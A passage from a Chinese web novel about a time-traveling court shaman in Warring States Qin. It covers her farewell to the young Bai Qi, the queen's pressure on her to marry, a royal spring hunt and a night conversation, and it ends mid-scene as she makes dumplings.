楚越水上漂石的功夫,还是魏冉教她的。 军中无聊,少年野性难驯,魏冉带着她和白起、孟守摘柿子、抓兔子、打漂石,几人之中,他最年长,弱冠之年,也最全能。 会做弹弓,能将柿子毫发无伤从枝头打落。制作的陷阱很隐蔽,总能抓到猎物,成功率比白起还高。 他还会绣花,这是白起都不会的。 楚越的石头飞出去,仅仅点了几下便沉入河中,魏冉也不洗衣服了,在地上翻了翻,递给楚越一块薄石,楚越用力朝河中丢去,飞石几次击打水面,沉没在最中央。 她得意看向魏冉,魏冉鼓掌夸道:“好,不愧是司巫啊,就是聪明。” 换了个马甲,她俨然楚傲天。 若是放在之前,她手中漂石只飞出这么点距离,魏冉不仅会讥讽她笨,还会一把夺过她手中的石片,非要给她示范。 末了,还不忘在她面前炫耀一番,再拉踩她一番。 前据而后恭,思之令人发笑。 楚越扔了两块,魏冉夸赞的声音越来越小,他到底还是忍不住了,对楚越道:“司巫,我给你示范一个。” “楚越,你是要回去了吗?”一旁闷头洗衣的白起忽然问道。 “是,我是来和你们道别的,大王命我随王后、荡公子返回咸阳。” 提起回咸阳,楚越心中压抑的情绪,渐渐清晰起来,她看着眼前的魏冉与白起,不舍之情萦绕。 除开打仗和干活儿,这里还是有很多乐趣的。 离开了这些朋友,回到王宫,还有谁每天陪她这么开心,总不能是嬴华吧。 她正怅惘,忽然听见阵歌声,是白起,他望着泾河之水,一阵浅浅的调子,被他轻哼出来。 魏冉诧异看了白起一眼,走上前去,推了一下他的肩膀,震惊盯着他的眼睛,白起被推,也没有停下,反而继续唱了下去。魏冉回头,看了楚越一眼,忽然笑了。 那是一种恍然大悟,又并不意外,在预料之中的笑。 百里不同音,楚越听不懂白起在唱什么,但见两人奇怪的神色,她还是隐隐猜到了什么。 “是什么?”楚越望向白起。 这么一问,白起还有些躲闪的目光,全落到了她身上,他注视着楚越的眼睛,歌声愈发温柔。 虽然听不懂,但看白起神情,楚越也猜到他唱的是什么歌—— 情歌。 毕竟他和魏冉唱战歌时,可从没用这样的目光看过彼此。 楚越想了想,问白起道:“是什么?”【你现在阅读的是 】 20-30 第21章 花开花落旧的故事和新的故事交织…… “楚王同母弟鄂君子皙泛舟时,有越国渔女对他唱了此曲。” 楚越立刻会意,“是《越人歌》。” 白起站起来,应道:“是。” 楚越望向白起,他的目光不再如从前那般躲避,而是坚定望着自己。 那双漆黑的眼睛,一旦严肃起来,目光就分外锐利,只是这锋芒,又被他眼中柔和情愫冲淡。 忧伤悄然酝酿坚毅之中,他望着楚越,且伤且坚定,歌声不停,宛如不归的战士,向死而生。 “今夕何夕兮,搴舟中流。今日何日兮,得与王子同舟。蒙羞被好兮,不訾诟耻。心几烦而不绝兮,得知王子。山有木兮木有枝,心悦君兮君不知。【1】” 目睹眼前飞蛾扑火般坚定的少年,楚越不免有些恍惚,她似是想起了什么,眼眸垂下,良久,她又望向白起,问道: “你知道《越人歌》是什么吗?” 没有人知道《越人歌》之后的故事,公子与渔女的身份,有天壤之别,或许一曲毕,故事便到此为止。 时间、身份、人心,阻碍似大山连绵。 可白起却道:“我知道。” 他清楚,自己与楚越一别,便犹如船女别鄂君,将再不会有相见之机,所以他决定,大胆袒露自己的心意。 “孔子说,《诗》三百,一言概之,思无邪。蒹葭、关雎、子衿,都是因有其情,所以阐发。我知道自己在想什么,做什么。” 楚越望着面前白起,少年坦荡的感情,炽烈如正午的骄阳,让人无法忽视,她心中一片茫然,几次张口,却不知要说些什么, 她不知道该怎么做。 站在这里,楚越看不到自己的将来,秦王命她返回王宫,等待她的命运,又会是什么? 一个无法掌控自己命运的人,宛如浮萍。 对于浮萍而言,人生多的是一期一遇,去年花开不是今年之花,楚越很清楚,她和白起能一起走的路,已经走完了。 他们站在道路的尽头,一片荒芜的平原上,即将分别。 就在她犹豫怅惘之时,身后忽然传来嬴华的声音,他见楚越久不归,找了过来。 嬴华站在山坡上,立于垂杨阴影之下,玄甲折射斑驳日光,在楚越眼中明灭跳动。 他看向楚越的方向,催促道:“走了。王后的车驾已经套好,就等你了。” 楚越回望身后嬴华,一瞬出神。 “走了,回去了。”嬴华重复道。 回去,回到咸阳宫,回到那年纪还小时,不远万里,也要跟着公孙衍去往的秦国咸阳宫,回到那座宫殿,继续去做她的司巫。 而非以张立春的身份,继续做一个没什么前途可言的小兵。 “知道了。”楚越应道。 等她回答完,再转过头,白起已经没有再看她, 垂下头去。 对于现状,他也十分清楚。 咸阳城,是整个秦国的中心,现在他还不是将来令列国胆寒的秦国国尉、大良造、武安君白起,而只是大秦军中,一个略微崭露头角,但还未等来机遇的年轻小将。 楚越望着白起,许多年前,初穿越来不久,站在宫檐下的悲伤感觉,再一次涌上心头。 她第二次失去了可以并行的同伴,世界,陷入一人的孤寂与迷惘。 楚越叹口气,到底什么也没说,转身走了。 白起目送她的背影离去,一言不发。 泾河汤汤,势不可挡的往前流去。 回咸阳的马车上,王后没有责怪楚越,只是忧愁的望着她,询问道: “你不想嫁给嬴轩,那你想嫁给谁呢?你十六岁,不是六七岁的孩子,怎能一直任性下去。王上和公子华为了平息宗室对你的不满,花了很大功夫。” 正看窗外风景的楚越回过神来,“我谁也不想嫁。” 王后叹口气,“你要做怨女吗?” 女子适龄不嫁,是为怨女,男子适龄不娶,则为旷夫。 楚越缓缓倒了下去,枕在王后怀中,试探道:“王后,我想嫁给谁都可以吗?” 王后敏锐觉察到了什么,没有应下,而是反问道: “你觉得呢?婚者,缔结两姓之好,你是巫咸国的后人、秦国的司巫,也是我抚养长大,国君家的孩子,你觉得什么样的人,能配的上你呢?” “那一定是个不同寻常的人。”楚越答道。 王后轻轻摸了摸她的头发,“对呀。” 楚越又问道:“如果我想嫁的那个人,已经有夫人了呢。” 王后的手顿了一下,“春秋霸主齐桓公有夫人三,如夫人六;楚国的太子建,平王同时为他迎娶秦女与齐女【2】;君子,多妻妾,有小童和大王在,你还怕别人欺负你不成?” “你想嫁给谁呢?你认识的人不多,是谁?是嬴华吗?” 楚越一惊,缄口不言。 好在王后继续道:“是他,固然好,不是他,还不如是他,他会对你很好。” “我看他对你很上心,嬴轩那边,便是他找了公孙操,费了些唇舌,才说通。他是王上的弟弟,秦国的公子,你与他也算相识多年,深知他的品性如何。” 古往今来,当妈妈的劝婚都是一个套路。 他会对你好。 话术千年不变,一点也不知道与时俱进。 楚越坐了起来,凝望王后温柔而忧伤的双眼,她有不能对王后说的话。 她不能告诉王后,原本,她打算离开秦国,跑得远远的,再也不回头。 关卡拦住了她的前路,她插翅难飞,可是真的想离开的人,怎么会只逃跑一次。 很多夜晚,楚越被周围人吵得睡不着,一个人在夜里回忆往事,她想到了王后,想到了嬴荡,想到了在这里十几年,所有美好的岁月。 人和人的联系,不会因为想或者不想,而无端生出或者消失,已经和这个时代产生了太多的联系,无法割舍的感情,也成为留恋的理由。 她叹口气,摇头道:“王后,不要逼我,我谁也不嫁。” 王后伸手,摸了摸她的脸,“起初,我也不想嫁来秦国,可是一眨眼,我都在秦国做了十数年的秦妇了。生在寻常人家,十五不嫁,官府会找上门,生在公族王室,又摆脱不了联姻的宿命。” 她的口气带着淡淡的感慨,和对命运的无奈,望着楚越黑了两度的脸,和粗糙的皮肤,王后眼中心疼,快要溢出,她终究松口。 “不管你想嫁给谁,你若想明白,愿意嫁,便告诉小童,无论是谁,小童都会尽力帮你,让你达成所想,至于别的,你不要担心。” 王后望着楚越,似乎从她眼中,看到了十五岁的自己,魏国要与秦国交好,她就必须不远从大梁来到咸阳。 现在她是秦国的王后,有改变的能力,她于是对楚越道,‘你不要担心’。 楚越靠进王后怀中,“王后。” 回到王宫,一切恢复原样,秦国修整,暂时不对外征战,嬴荡到了上学的年纪,秦王为他聘请名士为师,学诸子百家,又让嬴华时常入宫,教他武功。 嬴荡拿了楚越的剑不放,舞来舞去,嬴华也乐得陪他玩,楚越坐在一边,见两人玩的不亦乐乎,一大一小,笑吟吟的脸重合,又分开。 她手撑着下巴,静静望着两人。 天高云阔,温暖的阳光照在楚越身上,她低下头,捡了根树枝,在地上乱画起来。 寥寥几笔,画出个简笔三毛。 她盯着地上形态可掬的小人,忽然笑了。 阴影倏尔遮蔽住楚越,她抬头,对上嬴华含笑的眼睛,“三根头发,是你说的三毛吗?” 楚越不答,丢掉手里的木棍,双手抱膝,将脸埋进手臂,“好困。” “困?你晚上不睡觉做什么去了?” “睡不着。”她随口道。 嬴华在她身边蹲下,“我看你最近闷闷不乐的,又睡不着,是有什么心事吗?” 楚越侧首,对上嬴华的眼睛,“那既然都说了是心事,女孩子的心事,是能问的吗?” “那我也猜不出来啊,你若说了,说不定我还能帮你想想办法,一个人哪有两个人的力量大,对不对?” 嬴华似乎致力于让她开心。 楚越将头转了回去,“你帮不了我。” 嬴华见她不想说,换了个话题道:“春蒐(sou一声)【3】将至,你要提早做好准备,总得送点什么,博王上欢心。” 所谓春蒐,和夏苗、秋狝、冬狩一样,都是国君打猎的代名词,唯一的不同,在于季节。 “春蒐”,在春天搜寻并猎取未怀孕的禽兽;“夏苗”,则是在夏季猎取危害庄稼的禽兽;“秋狝”、“冬狩”则是在秋冬季举行的围猎。 先秦重视武功,不打仗农闲之际,国君带着贵族们围猎,以保持战斗力,在秦国这样尚武的国家,围猎相当于重要的军事演练活动。 “你说的轻松,让我博王上欢心,可那猎物会自己送上门吗?” “我又不是你,不是给王上抓一头犀牛,就是给王上打一只豹子?” 往年围猎,嬴华都是参与活动的优秀代表。 他打下猎物,献给兄长,把嬴驷喜得哈哈大笑,合不拢嘴。 楚越也想争一把优秀,奈何实在没有那个能力,犀牛啊,那是真的犀牛,大自然严选纯野生犀牛! 她打犀牛还是犀牛追她,还真不好说。 “你怎么说话呢。”嬴华蹙眉,“我好好跟你说话,你发什么脾气。” 自己语气的异常,楚越总是后知后觉,或者毫无知觉,分明是劝她打猎物示好君王的良言,可嬴华一副为她好的口吻,让楚越心头不由冒出一道无名火来。 要他管! 他管好他自己吧! 楚越越想越生气,似乎嬴华对她越好,这股怒火就越旺盛。 她站了起来,盯着嬴华满是不悦的眼睛,愤愤丢下手中树枝,头也不回的走了,徒留身后嬴华又怒又惑。 “你!” 春蒐如期而至,围猎的队伍浩浩荡荡出发,嬴华与公子繇一前一后,公子疾率兵护卫秦王左右,楚越陪着王后和嬴荡,在队伍中后。 后宫、贵族夫人们的马车,跟在王后车驾之后,嬴驷的妃嫔不少,但最得宠的芈夫人与卫夫人都留在了宫中。 芈夫人将要临盆,不宜出行,卫夫人的幼子公子雍生病,需要母亲照顾。 她们的两个长子,公子壮与公子稷随行。 王后并不得宠,故而除了公子荡,再无所出,反观卫夫人与芈夫人,则子嗣不少。 卫夫人有公子壮、公子雍,芈夫人后入秦宫,育有年幼的公子稷,如今即将诞生的,是未来秦国四贵中的泾阳君公子芾,还有一个高陵君公子悝待生。 嬴荡没有同母的兄弟,难免孤单,他对小他几岁的弟弟嬴稷很是喜爱,一定要带上弟弟。 反之,他对同样异母,却年长自己两三岁的哥哥嬴壮则不是很有兴趣。 可能,没人喜欢给别人当弟弟,都想当哥哥,体验被弟弟恭维的感觉。 小弟也是真的膜拜他大哥,大哥说什么,就是什么,主打虽然,但盲从,相比之下,嬴壮就更有自己的想法,不会完全按 嬴荡的想法来。 那嬴荡能喜欢他是见了鬼了。 人与人相处,要的是情绪价值,大哥荡给小弟稷担责,小弟稷给大哥荡办事,两个人都有美好的未来。至于别人,靠边站一下。 王后也不喜欢公子壮,而疼爱公子稷。 和嬴荡只是单纯喜欢弟弟,想当大哥不一样,王后的思虑更加长远。 卫夫人是卫君之女,卫国是周公旦同母弟卫康叔的封地,卫夫人是标准的姬周贵女,这出身放眼整个秦后宫,没几人能比。 嬴壮是很标准的贵妾之子。 周礼,嫡子之下,便是贵妾之子。 虽然周室衰弱,礼崩乐坏,但嬴壮年长,又上进,况且,卫夫人又生下了公子雍, 同母兄弟是天然联盟,一对二,优势不在王后。 公子荡没有同母的兄弟,势单力薄,而公子稷年纪小,远没有公子壮这个庶长子威胁大,且其母出身楚国远宗,受宠却地位不高,实在是拉拢的不二人选。 以宠妃牵制宠妃,宠妃的儿子牵制宠妃的儿子,自己坐收渔利,这盘算,楚越简直要拍手叫好了,称赞王后不愧是魏国公主出身。 马车前行缓慢,车中三个孩子精力旺盛,在一起做游戏,楚越陪他们玩了一会儿,便打起哈欠。 昨晚又没睡好。 人一多,车中便有些闷,她顺手打开了窗户,这一打开,道熟悉的身影,便立刻闯入她视线。 楚越瞳孔骤然一缩。 魏冉居然也在。 他骑在马背上,威风凛凛,不苟言笑,俨然一副秦军将领严肃模样。 楚越注意到他身上的甲胄纹样的变化,胸前还有花结,不仅精良,看起来还威风。 这似乎是禁军才会配发的盔甲。 魏冉也看到了楚越,朝她颔首致意,楚越点头,视线投向魏冉身后,但很可惜,她并没有看到那道过去和魏冉如影随形的身影。 不知怎么,心陡然沉了下去,她居然有些失落。 王后也看到了魏冉,对楚越道:“你应该认识他,他叫魏冉,是芈夫人同母异父的弟弟,稷儿的舅父。听说他作战颇为英勇,是个可塑的将才。” “是,臣的确认识魏冉。” 这可太熟了。 嬴稷也看到了魏冉,挤到车窗边,两只小手一起朝他挥动,“舅舅!” 车窗不高,嬴稷双手挥动,半边身子都在车窗外,楚越眼疾手快,一把将熊孩子撂倒在车厢,让他乖乖坐下,顺手关上车窗。 嬴壮是个长眼色的孩子,虽然不到十岁,但非常善于察言观色,见弟弟调皮,主动上前哄弟弟,陪两个弟弟玩。 他一边玩,余光却悄然打量着王后的神色。 楚越将这一切,尽收眼底,历史上发生的一切似乎都有迹可循,面前三个半大的孩子,都已经或多或少展现出自己的性格。 此时稚童尚且天真,将来 史书上简短几行字,就记录尽他们的一生,她伸手,爱怜的摸了摸嬴荡的脸,嬴荡抬头,望着楚越一笑,“姊姊。” 周有武王,秦也有武王,两位武王,都是践祚之后不久,便英年早逝。周武王兴周,秦武王弱周 队伍先抵达了猎宫,稍作安顿,行宫有观猎台,王后带着三位公子与夫人们登台,观看围猎场景。 楚越等年轻的贵族女子则辞别她们,前去更换衣物,为围猎做准备。 御与射也是贵族女子的学习内容,秦人的女子,丝毫不逊色于男子,也会参与围猎。 围猎和战争一样,重在协作,一个人单打独斗,所获得的猎物终究有限,猎人们团结起来,才能打□□型更大的猎物。 战车一辆一辆摆在眼前,楚越拍了拍实木的车轼,不知怎么想起军中的伙伴,魏冉白起,还有其他队友。 如果他们在就好了。 “司巫,我们和你一起。” 话音未落,楚越的左右手分别被人挽住,一对长得十分相似的姐妹,一左一右,抱住了她的手,另外几个慢了一步的,幽怨而愤恨的退了回去。 瞧着这场景 她什么时候成香饽饽了? 是开启了万人迷系统吗?怎么还没有提示音? 两人眼中放光,笑吟吟望着楚越,楚越各看了她二人一眼,问道:“两位公孙为何要与我一起?” 嬴嘉与嬴缃姐妹二人都是秦国公孙,嬴驷的堂妹,孝公之弟公子少官老来得的一双明珠,嬴嘉为长,嬴缃为妹。 楚越和她们同过窗,听同一位女师讲过课,一起学过一段时日礼仪。 十四岁的姐妹二人,跟着长兄,参与了这场围猎。 左边的嬴嘉压低声音,“司巫也不必瞒我们了,现在宗室之中谁不知道,你可是为秦国立过战功的英雄。” 秦人对战功没有免疫力,无论男女,不分老少,瞧着两人眼中闪烁的敬仰之光,楚越嘴角不自觉勾起个弧度。 想嘿嘿嘿的笑一笑,但这太不英雄了。 原来谣言是这么传她的,居然还给她逃婚传得这么可歌可泣。 现在她不仅没有身败名裂,还荣誉加身。 怪,太怪了。 她强行按下脸上的笑容,问道:“你们怎么知道的?” “大王对我父亲说的啊,你逃婚是少年心性,不甘平庸,去往前线,还为大秦立了军功,司巫,你可真是勇敢!” 楚越想了想,‘哦’了声,原来是如此。 “走吧走吧。要开始了。”嬴缃迫不及待道。 楚越在驾车上一向没什么心得,便由嬴嘉驾车,嬴缃目光如炬,负责观察周围环境,楚越握弓,担任主攻。 秦人是养马出身,在驭马上,秦人的女子,总是非比寻常,嬴嘉摸到缰绳,眼中便迸发出闪耀的光来。 她驾驶战车的技术很好,两匹庞然大物,在她手中缰绳驾驭下,步调一致,齐心协力。 号角声嘹亮,响彻平原,国君的战车,一马当先,嬴嘉高呼一声“走了!”,提醒车上两人,便驱使战车往前。 她们驾驶着马车,驱驰在原野上,前方不远,是君王的车驾。 一行骑兵与杀气腾腾的战车从斜里杀出,在猎官分明的号令下,分截包抄,将猎物往君王战车的方向驱赶。 “在那边。”嬴缃最先发现猎物动向,为姐姐指出方向,马车往前,远远的,楚越便看到了猎物,是一只麂,中等体型。 嬴嘉驾车转弯,直奔猎物而去,楚越熟练举起了箭,一箭应声而出,正中飞驰的奔麂,箭射中它的后腿,但强烈的求生欲使然,小麂依旧倔强奔跑着。 眼见猎物要跑,嬴嘉驾车,追了上去,楚越又放出了第二箭,但这一箭空了,十三人穷追不舍,楚越又放了一箭,箭贯穿麂的脖子。 垂死的猎物,学洒逃路,最终一头扎倒在地,挣扎几下,便一命呜呼。 “中了!中了!”嬴缃开心的直拍车轼。 一出师便大获全胜,楚越与嬴嘉也很兴奋,路过的一位老大夫见三人已经有所获,在车上哈哈大笑。 “焉知来者之不如今也?公孙与司巫真是后生可畏【4】。看来你我父子也要齐心协力,今日才能有所获了。” 老大夫看起来年纪不小,发丝花白,但每一根都写满了不服输三个大字。 驾车的中年男子笑道:“父亲所言甚是。” 好一个上阵父子兵。 “公孙,司巫,我二人先走一步。”老大夫朝她们挥手道别。 楚越笑了,为老大夫加油打气道:“大夫老当益壮,一定能擒得猛虎。” 随行士卒将她们的猎物收捡,三人继续在原上搜寻猎物,但转了许久,也没有看到猎物的影子,眼看太阳升到正空,日光渐渐灼人,她们决定先回去,下午再来。 正午时分,众人在溪边扎营,短暂休息,嬴驷命庖人 将新捕获的猎物烹饪。侍从搭起简棚,铺案设席,炽烈的阳光从帷幔的孔隙中透过,变得柔和。 王后也被人接来,与嬴驷同坐上首。 楚越和嬴嘉、嬴缃坐在一起,斜对面坐着嬴华、嬴疾、嬴繇三兄弟和他们的夫人,只是嬴华身边的席位空着,季孟夫人没有参加。 楚越又看见个熟人,是孟守,他跟在嬴华身后。 不知怎么,楚越又想起了白起。 她今天见到了魏冉,又见到了孟守,唯独没有见到白起。 疱人将嬴驷猎得的小鹿在溪边处理好,分割成大块,火苗舔舐铜鬲,蒸汽氤氲,骨汤的香气四溢,骨汤熬好,他们在俎上把肉块切成薄片,放入汤中烫熟。 盆、碟、碗从一件罍(lei三声)状器皿中逐一被取出,几十件餐具被塞在一件器皿中,实在精巧,楚越的注意力被这巧夺天工的餐具吸引,目光炯炯盯着疱人。 疱人麻利的将肉从汤中捞出,放在碟子中,又取出各种酱,盛在更小的碟中。 侍从将烫好的肉分呈众人案上,嬴驷道:“寡人新猎之鹿,请诸位品尝。” 众人举著,对这佳肴赞不绝口。 老板亲手打的鹿,哪怕是生肉,都得说这刺身新鲜,举世无双。 饭后,嬴驷稍作休息,午后又去猎场走了一遭,到了傍晚,上下满载而归,嬴驷很高兴,下令庆贺。 篝火,燃了起来。 晚上的餐食与早上不同,庖人将肉腌制后,放在铜板上,大火炙烤。肥瘦相间的鹿肉滋滋冒油,加姜、蒜、花椒,这和现代的烧烤只差一把孜然和辣椒粉。 美酒一坛一坛搬来,打开。 今晚的消费由秦王买单。 烧烤加酒,边吃边喝,这是回咸阳以来,楚越第一次感到轻松与惬意。 篝火熊熊,火堆边,臣仆拉起秦琴,这是一种类似二胡的弦类乐器,嬴驷被这乐声感染,以著击觞,低低吟唱起来,一旁大臣闻声,也跟着节奏而唱。 “伐木丁丁,鸟鸣嘤嘤。出自幽谷,迁于乔木。嘤其鸣矣,求其友声。相彼鸟矣,犹求友声。矧伊人矣,不求友生?神之听之,终和且平。”【5】 楚越听出,他们在唱《诗经.伐木》,一首描写宴饮的歌曲。 贵族之间,无论新朋旧友,亦或姻亲,都要互帮互助。这或许才是嬴驷此次游猎的目的,拉近和国内各方势力的关系。 所谓欲成大事,必顺其心,凝聚上下,才能一鼓作气。 大臣们上午吃了国君的鹿,下午又喝了国君的酒,自然也要对国君表示表示,纷纷将自己获得的猎物最珍贵部分,献给嬴驷。 楚越和嬴嘉、嬴缃下午一无所获,于武功上,秦国上下都是卷王。 六十多岁头发花白的老大夫,身手矫健,真能擒虎,令人刮目相看,十多岁的公子壮,一鸣惊人,开弓射箭,打下一只飞鹭。 就连年纪尚小的公子荡与公子稷,都用陷阱与猎狗,抓到了一只草兔。 打别人的猎物,让别人无猎可打。 一天有一只麂,没有空手而返,已经是难得。 麂最珍贵,莫过于皮,工匠已经将麂处理好,剥下皮来,献给嬴驷。 嬴驷看了一眼那麂皮,望向楚越三人,夸赞道:“不错,还能有所获,可见我大秦女儿,毫不逊色于男子。这麂皮很好,寡人刚好缺一条革带。赐酒。” 侍从为两人倒酒,三人起身,举杯敬嬴驷,嬴驷端杯,一饮而尽。 酒过三巡,老大夫红光满面的端着酒杯走了过来,“司巫!借司巫吉言,我今日真打了一只虎,敬司巫一杯。” 楚越没想到自己随口一句话,居然真的成真。 原本只是激励老大夫,谁知道老大夫真打到了虎,打到虎的老大夫,自然力压一众年轻子弟,成为全场mvp,不仅嬴驷夸赞,周围人也纷纷恭维。 喜得老大夫脸上皱纹都多笑出了两条,人年纪大了,自然对天命有所敬畏,他于是来向楚越道谢。 老大夫盛情难却,楚越端起杯子,和老大夫喝了一杯,老大夫十分热情,一定要将虎牙送给楚越,以做纪念。 白得一颗虎牙,楚越很高兴,据说老虎为纯阳之物,能辟邪除灾,楚越决定将这虎牙做个挂饰,给嬴荡戴上。 酒宴正酣,众人且歌且舞。 在地上坐的久了,楚越感到不舒服,加之酒劲上头,脑袋有些晕,她于是偷偷对嬴嘉、嬴缃道:“我刚才看到那边有片莺桃,走。” 战国人以樱桃为莺桃、含桃,莺鸟所含之桃,故得此名。 三人拉着手离席,丛林之中,大片樱花、桃花、梨花盛开,红白相间,几株樱桃树早熟,挂满硕果,离地近的樱桃早被摘掉,只剩下高处树冠还挂着一些。 嬴嘉想要爬上去,楚越制止了她,“会刮破衣服的,我帮你摘。” 说着,她从袖子里掏出了弹弓。 “这能摘到吗?”嬴嘉不信。 楚越扬起下巴,对嬴嘉得意一笑,“看着。” 看好了,她要露一手了。 楚越捡起石子,对准了高处的樱桃,每发出一石,就有一串樱桃,从树上落下。 “司巫姊姊,你好厉害!” 姐妹二人的丹凤眼发亮。 楚越第一次看魏冉打柿子时,也是这样的神情。 古时弹弓也被称作‘射’,都是利用弹力,只是发出的武器不同,弹弓发出的是石子一类的小玩意儿,射箭发出的是羽箭。 打兔子一类小猎物时,弹弓的优势明显于弓箭,体积小,便于荫蔽。就是杀伤力有限,用来玩一玩,打猎可以,作为武器进攻,就攻击性不足。 楚越得意一笑,“等着,我们再摘一点,拿回去给大王和王后。” 摘了樱桃,楚越见桃花盛开,又想摘几支花,桃树不高,伸手就能摘到,就在她伸手即将碰到桃树的刹那,整株桃树忽然颤动起来,落花缤纷,洋洋从她头顶落下,像是下雨一般。 楚越回头,竟然是嬴华,他站在桃树下,踹了树干一脚。 落英缤纷间,青年一身甲胄,独立桃树下,笑着望向她。 忽然起风了,风卷花瓣,漫天飞舞,他们站在花海之间,世界,仿佛在这一瞬安静,时间停滞,倒流回许多年前的原上。 少年嬴华捧起地上落花,洒在她头上,她笑着,伸出手,去抓空中的花瓣。 暮春时分的原风醉人,吹起漫天花瓣如雨,楚越本就有些醉了,风一吹,愈发恍惚。 她本能垂首,鬓边发丝与衣袂在风中翩跹,一朵花落在她衣缘,又滚落在地,她凝视地面随风而集的红白花瓣,低声道: “花落了。” 嬴华还望着楚越,等着她脸上绽放出笑容。 “堂兄。”嬴嘉伸手,在嬴华面前挥了挥,好奇的视线扫过嬴华,又看向楚越,“你看什么呢?” 嬴华回过神来,微微一笑,“在想事情。” “哦,什么事?”嬴嘉好奇问道,楚越也抬眸望去。 嬴华看了楚越一眼,慨然道:“在想我秦军果真厉害,区区一个公士就有这么好的准头,有公士如此,何愁我大秦不能荡平六国。” 方才他过来时,刚好看见楚越在打樱桃,身手矫健,令人眼前一亮。少女骄傲明艳,脸颊微红,就是满树桃花,都不敌她的一丝风采。 他原本还在生她的气,可看见她开心,一时不知怎么,居然也跟着笑了起来。 总是这样,从第一次见到她开始,就总是这样。见她垂头丧气站在宫檐下,他就想走过去。 那时他心头只有一个念头,不管做些什么,只要能逗她开心就好。 楚越翻了个白眼,头也不回的走了。 嬴华碰了一鼻子灰,恼怒道:“我还没跟你生气,你愈发不讲理了。” 楚越置若罔闻。 嬴嘉和嬴缃带着花与樱桃追了上来,三人回到营地,将摘下的樱桃与花,献给秦王、王后,王后很高兴,命人用瓶养起来。 宴会快结束时,忽有侍从对嬴驷耳语几句,嬴驷脸色有些难看,“什么?燕王立了公子平为太子?” 月余前,燕国派来使者知会秦国,燕国要称王了。 作为文王之子、武王兄弟召公的封地,燕国最初被封为侯爵。进入战国之后,列国先后 称王,燕国也来凑热闹,嬴驷得知,表示支持。 反正秦国与燕国相隔十万八千里,中间有中山、赵国,两国没有什么直接矛盾,你爱称什么称什么。 燕王称王之后,按制应该册立王后、太子。 他立了长子平为太子,是为太子平。 此消息传来,秦庭上下议论纷纷,楚越不知缘由,但见嬴驷似乎不太高兴,没过多久,便离席而去,秦王离开,晚间的宴会也很快散去。 楚越回到住处,沐浴之后,望着松软的床榻兴叹,她总睡不着,只要一闭上眼睛,就会堕入梦魇之中,她不敢睡,披起衣服,想出去走走。 行宫简陋,一应设施没有王宫完备,宫道上黑漆漆的,只有一轮悬空的明月,勉强照亮前路。但行宫的看守却严过王宫,楚越才走了没几步,就被人呵止。 “是谁?大半夜还在这里乱走动!”对方很警惕。 “魏冉,是楚越。” 楚越听出是白起的声音,试探性问道:“是白起吗?” 火把照亮一隅,那张熟悉的脸变得明亮,楚越再一次见到白起,她有些激动,“你也来了!” 一旁魏冉咳嗽声,“还有我。” “我们不是见过吗?还有孟守,我白日都见过。”楚越歪头,看向魏冉。 “好吧。不过你怎么大半夜一个人往出跑。” 楚越下巴微微扬起,倨傲道:“本司巫要做什么,难道还要先请示两位将军不成?” 魏冉笑了,“行行行,不过你还是回去吧,行宫不比王宫,万一遇见蛇虫就不好了。” “白起,还不护送司巫回去。” 魏冉推了一把白起,白起往前一步,看了一眼楚越,伸手接过一旁魏冉递来的火把。 行宫的夜晚静谧,隐约可以听见蟋蟀爬过草丛的窸窣与鸣叫,白起在前,手中火把小心照亮楚越脚下道路,盔甲碰撞,与两人脚步声交织,此起彼伏。 他们谁都没有说话,只安静往前走。 “你们,是被调入禁军了吗?”楚越率先打破了这寂静。 秦有锐士,如魏之武卒,齐之技击,戍守咸阳,为诸军中的精锐。 “王上要围猎,从咸阳各军中抽调精锐,都尉命我前来。” 原来是都尉推荐的优秀将士。 “哦。”楚越应了声,继续问道:“那魏冉是升迁了吗?我见他盔甲上有花结了。” 楚越看过兵马俑相关论文,专家推测,秦军将领胸前花结,类似军衔。 “是。升为卒长。” 卒长,不是族长,是众卒之长,又名千夫长。 调入禁军为千夫长,他这升迁,可不是小小一步。 “那你呢?”楚越绕了一圈,终于问到了重点。 嬴华作为使者劳军之时,查看过她的军功册,楚越因此见到了自己整个屯的军功册,只是随便几眼,却让她看到了不一样的东西。 白起居然降级了。 军功劳册上写的清楚,是那块肉和私自出营的罪过,原本秦军越往上,就难以升迁,功不抵过,就会降级。 天知地知你知我知的事情。 他居然还记上。 这人 楚越看向白起,想知道他会如何回答自己这个问题。 白起迟疑了一瞬,若无其事答道:“我,我以后机会还很多,不急于一时。” 他到底没有告诉楚越真相,或许是怕她知道,背上沉重的负担,于是选择隐而不发。 楚越低头,想了想,问白起道:“你和魏冉打到了什么猎物?” “挺多的,什么都有一些。” “明天,将你们打到的猎物送一些过来。” 白起不解,“嗯?” “我不是说回咸阳了,备上酒菜请你们吗?” 白起轻笑了声,“哪有请客吃饭,要宾客自备食材的。” 楚越的脚步一时止住,她站在原地,侧首注视白起漆黑的眼睛,“那你到底送不送?” 黑夜中,他眼睛颜色愈发的深,橘黄火光近在咫尺,也无法照亮,黑色,似乎与生俱来注定要吞噬一切。 楚越坦然注视他的眼睛,等着他的回答,良久,白起低头,“哦。” 次日清晨,东西就被送了过来,尚且温热的几大块肉,处理得干干净净,放在俎上。 楚越站在灶前犯了难。 这是什么肉? 庖厨看出楚越的犹豫,上前道:“是彘。” 猪肉啊,那好说。 那就,包饺砸! 楚越左手一把菜刀,右手一把菜刀,她舍弃了带着四条腿悬空的青铜俎,挑了块看起来像砧板的木板,噼里啪啦剁了起来。 厨房外,嬴荡脱了外衣,双手搬起沉重的木臼,舂麦舂得风声水起,孩子年纪不大,但有一股子用不完的牛劲。 嬴稷在摘菜,新鲜的荠菜,纯天然无污染,他摘得仔细,一点枯叶都丢弃不要。 麦子脱壳,再舂碎,以硙【6】(wei四声)碾成粉末,公输班作硙,是石磨的前身,石硙磨出来的面粉往往粗糙,需要多磨几遍才能使用。 楚越一瓢水倒进陶盆,又尴尬的加了一瓢面。 水多了加面,面多了加水。 满满一盆面,和得楚越满头大汗,她费了九牛二虎之力,才终于和出了一大块干湿适中的面团。 醒面的时候,楚越开始调饺子馅。 她试了几种口味的饺子馅,揪几小块面团,擀成薄皮,初包了一批,煮熟给众人品尝。 疱人十分惊奇,“司巫做的饼饵【7】,倒是别有风味。” 经过专业人士的建议,楚越选择了其中一款饺子馅。 一批饺子包出来,眼看就要到中午,众人即将游猎归来,楚越让嬴荡生火烧水,大火舔舐鼎底,鼎中水咕噜咕噜沸腾起来。 水开了,楚越开始准备蘸碟。 吃饺子蘸什么,向来是各人有各自的爱好,但楚越只能拿的出醋,这个时代没有大蒜,也没有白糖,只有醋和蜂蜜 吃饺子蘸蜂蜜 